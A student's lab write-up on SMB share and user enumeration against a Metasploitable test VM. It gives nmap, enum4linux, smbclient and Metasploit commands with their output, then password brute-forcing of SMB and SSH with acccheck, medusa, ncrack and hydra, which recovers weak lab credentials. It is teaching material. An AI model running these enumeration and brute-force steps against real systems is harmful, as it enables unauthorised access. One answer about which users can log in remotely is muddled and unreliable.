Alexander Cannell

CSIA 2610

Week SMB/User Enumeration

**1) What are three ways to identify information about a SMB share?**

**1) NMAP: allows you to see what ports are open to determine if SMB can be used. Also a deep scan can be used to do a SMB OS scan and discovery.**

**root@kali**:**~**# nmap -sS -p 445 10.0.2.0/24  
  
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-02-20 00:00 MST  
Nmap scan report for 10.0.2.1  
Host is up (0.00030s latency).  
PORT STATE SERVICE  
445/tcp closed microsoft-ds  
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)  
  
Nmap scan report for 10.0.2.2  
Host is up (0.00022s latency).  
PORT STATE SERVICE  
445/tcp open microsoft-ds  
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)  
  
Nmap scan report for 10.0.2.3  
Host is up (0.00020s latency).  
PORT STATE SERVICE  
445/tcp filtered microsoft-ds  
MAC Address: 08:00:27:36:C7:29 (Oracle VirtualBox virtual NIC)  
  
Nmap scan report for 10.0.2.4  
Host is up (0.00025s latency).  
PORT STATE SERVICE  
445/tcp open microsoft-ds  
MAC Address: 08:00:27:3E:5B:40 (Oracle VirtualBox virtual NIC)  
  
Nmap scan report for 10.0.2.15  
Host is up (0.000040s latency).  
PORT STATE SERVICE  
445/tcp closed microsoft-ds  
  
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.37 seconds

**root@kali**:**~**# nmap -A -p 445 10.0.2.4  
  
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-02-20 00:02 MST  
Nmap scan report for 10.0.2.4  
Host is up (0.00039s latency).  
PORT STATE SERVICE VERSION  
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)  
MAC Address: 08:00:27:3E:5B:40 (Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: general purpose  
Running: Linux 2.6.X  
OS CPE: cpe:/o:linux:linux\_kernel:2.6  
OS details: Linux 2.6.9 - 2.6.33  
Network Distance: 1 hop  
  
Host script results:  
|\_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
| smb-os-discovery:   
| OS: Unix (Samba 3.0.20-Debian)  
| NetBIOS computer name:   
| Workgroup: WORKGROUP  
|\_ System time: 2017-02-20T02:02:12-05:00  
  
TRACEROUTE  
HOP RTT ADDRESS  
1 0.39 ms 10.0.2.4  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds

**2) ENUM4LINUX:**

**root@kali**:**~**# enum4linux -S 10.0.2.4  
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Feb 20 00:01:46 2017  
  
 ==========================   
| Target Information |  
 ==========================   
Target ........... 10.0.2.4  
RID Range ........ 500-550,1000-1050  
Username ......... ''  
Password ......... ''  
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none  
  
  
 ================================================   
| Enumerating Workgroup/Domain on 10.0.2.4 |  
 ================================================   
[+] Got domain/workgroup name: WORKGROUP  
  
 =================================   
| Session Check on 10.0.2.4 |  
 =================================   
[+] Server 10.0.2.4 allows sessions using username '', password ''  
  
 =======================================   
| Getting domain SID for 10.0.2.4 |  
 =======================================   
Domain Name: WORKGROUP  
Domain Sid: (NULL SID)  
[+] Can't determine if host is part of domain or part of a workgroup  
  
 =====================================   
| Share Enumeration on 10.0.2.4 |  
 =====================================   
WARNING: The "syslog" option is deprecated  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
  
 Sharename Type Comment  
 --------- ---- -------  
 print$ Disk Printer Drivers  
 tmp Disk oh noes!  
 opt Disk   
 IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
 ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
  
 Server Comment  
 --------- -------  
 METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)  
  
 Workgroup Master  
 --------- -------  
 WORKGROUP   
  
[+] Attempting to map shares on 10.0.2.4  
//10.0.2.4/print$ Mapping: DENIED, Listing: N/A  
//10.0.2.4/tmp Mapping: OK, Listing: OK  
//10.0.2.4/opt Mapping: DENIED, Listing: N/A  
//10.0.2.4/IPC$ [E] Can't understand response:  
WARNING: The "syslog" option is deprecated  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
NT\_STATUS\_NETWORK\_ACCESS\_DENIED listing \\*  
//10.0.2.4/ADMIN$ Mapping: DENIED, Listing: N/A  
enum4linux complete on Mon Feb 20 00:01:47 2017

﻿

**root@kali**:**~**# enum4linux 10.0.2.4  
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Feb 20 01:07:41 2017  
  
 ==========================   
| Target Information |  
 ==========================   
Target ........... 10.0.2.4  
RID Range ........ 500-550,1000-1050  
Username ......... ''  
Password ......... ''  
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none  
  
  
 ================================================   
| Enumerating Workgroup/Domain on 10.0.2.4 |  
 ================================================   
[+] Got domain/workgroup name: WORKGROUP  
  
 ========================================   
| Nbtstat Information for 10.0.2.4 |  
 ========================================   
Looking up status of 10.0.2.4  
 METASPLOITABLE <00> - B <ACTIVE> Workstation Service  
 METASPLOITABLE <03> - B <ACTIVE> Messenger Service  
 METASPLOITABLE <20> - B <ACTIVE> File Server Service  
 ..\_\_MSBROWSE\_\_. <01> - <GROUP> B <ACTIVE> Master Browser  
 WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name  
 WORKGROUP <1d> - B <ACTIVE> Master Browser  
 WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections  
  
 MAC Address = 00-00-00-00-00-00  
  
 =================================   
| Session Check on 10.0.2.4 |  
 =================================   
[+] Server 10.0.2.4 allows sessions using username '', password ''  
  
 =======================================   
| Getting domain SID for 10.0.2.4 |  
 =======================================   
Domain Name: WORKGROUP  
Domain Sid: (NULL SID)  
[+] Can't determine if host is part of domain or part of a workgroup  
  
 ==================================   
| OS information on 10.0.2.4 |  
 ==================================   
[+] Got OS info for 10.0.2.4 from smbclient: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
[+] Got OS info for 10.0.2.4 from srvinfo:  
 METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)  
 platform\_id : 500  
 os version : 4.9  
 server type : 0x9a03  
  
 =========================   
| Users on 10.0.2.4 |  
 =========================   
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)  
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)  
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)  
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)  
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)  
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)  
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)  
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)  
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)  
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null)  
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)  
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)  
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null)  
index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)  
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)  
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)  
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)  
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null)  
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)  
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null)  
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)  
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null)  
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)  
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)  
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)  
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)  
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null)  
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null)  
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,,, Desc: (null)  
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)  
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)  
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null)  
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)  
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null)  
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)  
  
user:[games] rid:[0x3f2]  
user:[nobody] rid:[0x1f5]  
user:[bind] rid:[0x4ba]  
user:[proxy] rid:[0x402]  
user:[syslog] rid:[0x4b4]  
user:[user] rid:[0xbba]  
user:[www-data] rid:[0x42a]  
user:[root] rid:[0x3e8]  
user:[news] rid:[0x3fa]  
user:[postgres] rid:[0x4c0]  
user:[bin] rid:[0x3ec]  
user:[mail] rid:[0x3f8]  
user:[distccd] rid:[0x4c6]  
user:[proftpd] rid:[0x4ca]  
user:[dhcp] rid:[0x4b2]  
user:[daemon] rid:[0x3ea]  
user:[sshd] rid:[0x4b8]  
user:[man] rid:[0x3f4]  
user:[lp] rid:[0x3f6]  
user:[mysql] rid:[0x4c2]  
user:[gnats] rid:[0x43a]  
user:[libuuid] rid:[0x4b0]  
user:[backup] rid:[0x42c]  
user:[msfadmin] rid:[0xbb8]  
user:[telnetd] rid:[0x4c8]  
user:[sys] rid:[0x3ee]  
user:[klog] rid:[0x4b6]  
user:[postfix] rid:[0x4bc]  
user:[service] rid:[0xbbc]  
user:[list] rid:[0x434]  
user:[irc] rid:[0x436]  
user:[ftp] rid:[0x4be]  
user:[tomcat55] rid:[0x4c4]  
user:[sync] rid:[0x3f0]  
user:[uucp] rid:[0x3fc]  
  
 =====================================   
| Share Enumeration on 10.0.2.4 |  
 =====================================   
WARNING: The "syslog" option is deprecated  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
  
 Sharename Type Comment  
 --------- ---- -------  
 print$ Disk Printer Drivers  
 tmp Disk oh noes!  
 opt Disk   
 IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
 ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
  
 Server Comment  
 --------- -------  
 METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)  
  
 Workgroup Master  
 --------- -------  
 WORKGROUP METASPLOITABLE  
  
[+] Attempting to map shares on 10.0.2.4  
//10.0.2.4/print$ Mapping: DENIED, Listing: N/A  
//10.0.2.4/tmp Mapping: OK, Listing: OK  
//10.0.2.4/opt Mapping: DENIED, Listing: N/A  
//10.0.2.4/IPC$ [E] Can't understand response:  
WARNING: The "syslog" option is deprecated  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
NT\_STATUS\_NETWORK\_ACCESS\_DENIED listing \\*  
//10.0.2.4/ADMIN$ Mapping: DENIED, Listing: N/A  
  
 ================================================   
| Password Policy Information for 10.0.2.4 |  
 ================================================   
  
[+] Attaching to 10.0.2.4 using a NULL share  
  
 [+] Trying protocol 445/SMB...  
  
[+] Found domain(s):  
  
 [+] METASPLOITABLE  
 [+] Builtin  
  
[+] Password Info for Domain: METASPLOITABLE  
  
 [+] Minimum password length: 5  
 [+] Password history length: None  
 [+] Maximum password age: Not Set  
 [+] Password Complexity Flags: 000000  
  
 [+] Domain Refuse Password Change: 0  
 [+] Domain Password Store Cleartext: 0  
 [+] Domain Password Lockout Admins: 0  
 [+] Domain Password No Clear Change: 0  
 [+] Domain Password No Anon Change: 0  
 [+] Domain Password Complex: 0  
  
 [+] Minimum password age: None  
 [+] Reset Account Lockout Counter: 30 minutes  
 [+] Locked Account Duration: 30 minutes  
 [+] Account Lockout Threshold: None  
 [+] Forced Log off Time: Not Set  
  
[+] Retieved partial password policy with rpcclient:  
  
Password Complexity: Disabled  
Minimum Password Length: 0  
  
  
 ==========================   
| Groups on 10.0.2.4 |  
 ==========================   
  
[+] Getting builtin groups:  
  
[+] Getting builtin group memberships:  
  
[+] Getting local groups:  
  
[+] Getting local group memberships:  
  
[+] Getting domain groups:  
  
[+] Getting domain group memberships:  
  
 ===================================================================   
| Users on 10.0.2.4 via RID cycling (RIDS: 500-550,1000-1050) |  
 ===================================================================   
[I] Found new SID: S-1-5-21-1042354039-2475377354-766472396  
[+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password ''  
S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User)  
S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User)  
S-1-5-21-1042354039-2475377354-766472396-502 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-503 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-504 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-505 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-506 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-507 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-508 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-509 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-510 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-511 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-515 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-516 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-517 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-518 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-519 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-520 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-521 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-522 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-523 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-524 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-525 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-526 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-527 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-528 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-529 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-530 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-531 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-532 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-533 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-534 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-535 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-536 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-537 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-538 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-539 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-540 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-541 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-542 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-543 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-544 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-545 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-546 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-547 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-548 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-549 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-550 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1022 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1023 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1024 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User)  
S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1028 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1029 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1030 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1032 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1033 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1034 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1035 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1036 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1037 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1038 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1039 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1040 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1042 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1044 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1046 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1047 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1048 \*unknown\*\\*unknown\* (8)  
S-1-5-21-1042354039-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group)  
S-1-5-21-1042354039-2475377354-766472396-1050 \*unknown\*\\*unknown\* (8)  
  
 =========================================   
| Getting printer info for 10.0.2.4 |  
 =========================================   
No printers returned.  
  
  
enum4linux complete on Mon Feb 20 01:07:50 2017

**3) SMBCLIENT:**

﻿

**root@kali**:**~**# smbclient -L 10.0.2.4 -N  
WARNING: The "syslog" option is deprecated  
Anonymous login successful  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
  
 Sharename Type Comment  
 --------- ---- -------  
 print$ Disk Printer Drivers  
 tmp Disk oh noes!  
 opt Disk   
 IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
 ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))  
Anonymous login successful  
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]  
  
 Server Comment  
 --------- -------  
 METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)  
  
 Workgroup Master  
 --------- -------  
 WORKGROUP METASPLOITABLE

**4) MSFCONSOLE:**

**root@kali**:**~**# msfconsole -q  
msf > use auxiliary/scanner/smb/smb\_enumshares   
msf auxiliary(**smb\_enumshares**) > set rhosts 10.0.2.4  
rhosts => 10.0.2.4  
msf auxiliary(**smb\_enumshares**) > run  
  
**[+]** 10.0.2.4:139 - print$ - (DISK) Printer Drivers  
**[+]** 10.0.2.4:139 - tmp - (DISK) oh noes!  
**[+]** 10.0.2.4:139 - opt - (DISK)   
**[+]** 10.0.2.4:139 - IPC$ - (IPC) IPC Service (metasploitable server (Samba 3.0.20-Debian))  
**[+]** 10.0.2.4:139 - ADMIN$ - (IPC) IPC Service (metasploitable server (Samba 3.0.20-Debian))  
**[\*]** Scanned 1 of 1 hosts (100% complete)  
**[\*]** Auxiliary module execution completed  
msf auxiliary(**smb\_enumshares**) >

**2) Look up the Unix commands grep and cut. Build a user list using the smb user enumeration and these tools. We want just the userid's**

**root@kali**:**~**# enum4linux 10.0.2.4 >> Desktop/e.txt  
**root@kali**:**~**# grep users Desktop/e.txt  
[+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password ''  
**root@kali**:**~**# grep user Desktop/e.txt  
[+] Server 10.0.2.4 allows sessions using username '', password ''  
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)  
user:[games] rid:[0x3f2]  
user:[nobody] rid:[0x1f5]  
user:[bind] rid:[0x4ba]  
user:[proxy] rid:[0x402]  
user:[syslog] rid:[0x4b4]  
user:[user] rid:[0xbba]  
user:[www-data] rid:[0x42a]  
user:[root] rid:[0x3e8]  
user:[news] rid:[0x3fa]  
user:[postgres] rid:[0x4c0]  
user:[bin] rid:[0x3ec]  
user:[mail] rid:[0x3f8]  
user:[distccd] rid:[0x4c6]  
user:[proftpd] rid:[0x4ca]  
user:[dhcp] rid:[0x4b2]  
user:[daemon] rid:[0x3ea]  
user:[sshd] rid:[0x4b8]  
user:[man] rid:[0x3f4]  
user:[lp] rid:[0x3f6]  
user:[mysql] rid:[0x4c2]  
user:[gnats] rid:[0x43a]  
user:[libuuid] rid:[0x4b0]  
user:[backup] rid:[0x42c]  
user:[msfadmin] rid:[0xbb8]  
user:[telnetd] rid:[0x4c8]  
user:[sys] rid:[0x3ee]  
user:[klog] rid:[0x4b6]  
user:[postfix] rid:[0x4bc]  
user:[service] rid:[0xbbc]  
user:[list] rid:[0x434]  
user:[irc] rid:[0x436]  
user:[ftp] rid:[0x4be]  
user:[tomcat55] rid:[0x4c4]  
user:[sync] rid:[0x3f0]  
user:[uucp] rid:[0x3fc]  
[+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password ''

﻿  
msf auxiliary(**smb\_version**) > use auxiliary/scanner/smb/smb\_enumusers  
msf auxiliary(**smb\_enumusers**) > set rhosts 10.0.2.4  
rhosts => 10.0.2.4  
msf auxiliary(**smb\_enumusers**) > run  
  
**[\*]** 10.0.2.4:139 - METASPLOITABLE [ games, nobody, bind, proxy, syslog, user, www-data, root, news, postgres, bin, mail, distccd, proftpd, dhcp, daemon, sshd, man, lp, mysql, gnats, libuuid, backup, msfadmin, telnetd, sys, klog, postfix, service, list, irc, ftp, tomcat55, sync, uucp ] ( LockoutTries=0 PasswordMin=5 )  
**[\*]** Scanned 1 of 1 hosts (100% complete)  
**[\*]** Auxiliary module execution completed

3) What userids in this list might we want to try to brute force? Are there some users that typically can't log in remotely?

user:[user] rid:[0xbba], user:[root] rid:[0x3e8], user:[msfadmin] rid:[0xbb8], user:[daemon] rid:[0x3ea], user:[nobody] rid:[0x1f5], and I would include Administrator.

Typically users without domain admin rights can only login remotely.

**root@kali**:**~**# nmap --script smb-brute.nse -p 445 10.0.2.4  
  
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-02-20 03:31 MST  
Nmap scan report for 10.0.2.4  
Host is up (0.00057s latency).  
PORT STATE SERVICE  
445/tcp open microsoft-ds  
MAC Address: 08:00:27:3E:5B:40 (Oracle VirtualBox virtual NIC)  
  
Host script results:  
| smb-brute:   
| msfadmin:msfadmin => Valid credentials  
|\_ user:user => Valid credentials  
  
Nmap done: 1 IP address (1 host up) scanned in 169.61 seconds

**4) There are multiple brute forcing tools on Kali, see if you can find 3 of them and list them here. Why might there be different tools that do the same thing?**

**Acccheck:**

**root@kali**:**~**# acccheck -v -t 10.0.2.4 -u user -P /usr/share/dirb/wordlists/common.txt   
[…]

SUCCESS.... connected to 10.0.2.4 with username:'user' and password:'user'  
  
End of Scan

**Medusa:**

**root@kali**:**~**# medusa -u msfadmin -P /usr/share/dirb/wordlists//common.txt -h 10.0.2.4 -M ssh  
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>  
[...]  
ACCOUNT CHECK: [ssh] Host: 10.0.2.4 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: msfadmin (2421 of 4622 complete)  
ACCOUNT FOUND: [ssh] Host: 10.0.2.4 User: msfadmin Password: msfadmin [SUCCESS]

**Ncrack:**  
﻿

**root@kali**:**~**# ncrack -v -p 22 --user user -P /usr/share/dirb/wordlists//common.txt 10.0.2.4   
  
Starting Ncrack 0.5 ( http://ncrack.org ) at 2017-02-20 06:01 MST  
  
Discovered credentials on ssh://10.0.2.4:22 'user' 'user'  
﻿

Ncrack done: 1 service scanned in 30.01 seconds.

**Hydra:**

**root@kali**:**~**# hydra -l user -P /usr/share/dirb/wordlists//common.txt 10.0.2.4 ssh  
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.  
  
Hydra (http://www.thc.org/thc-hydra) starting at 2017-02-20 06:07:11  
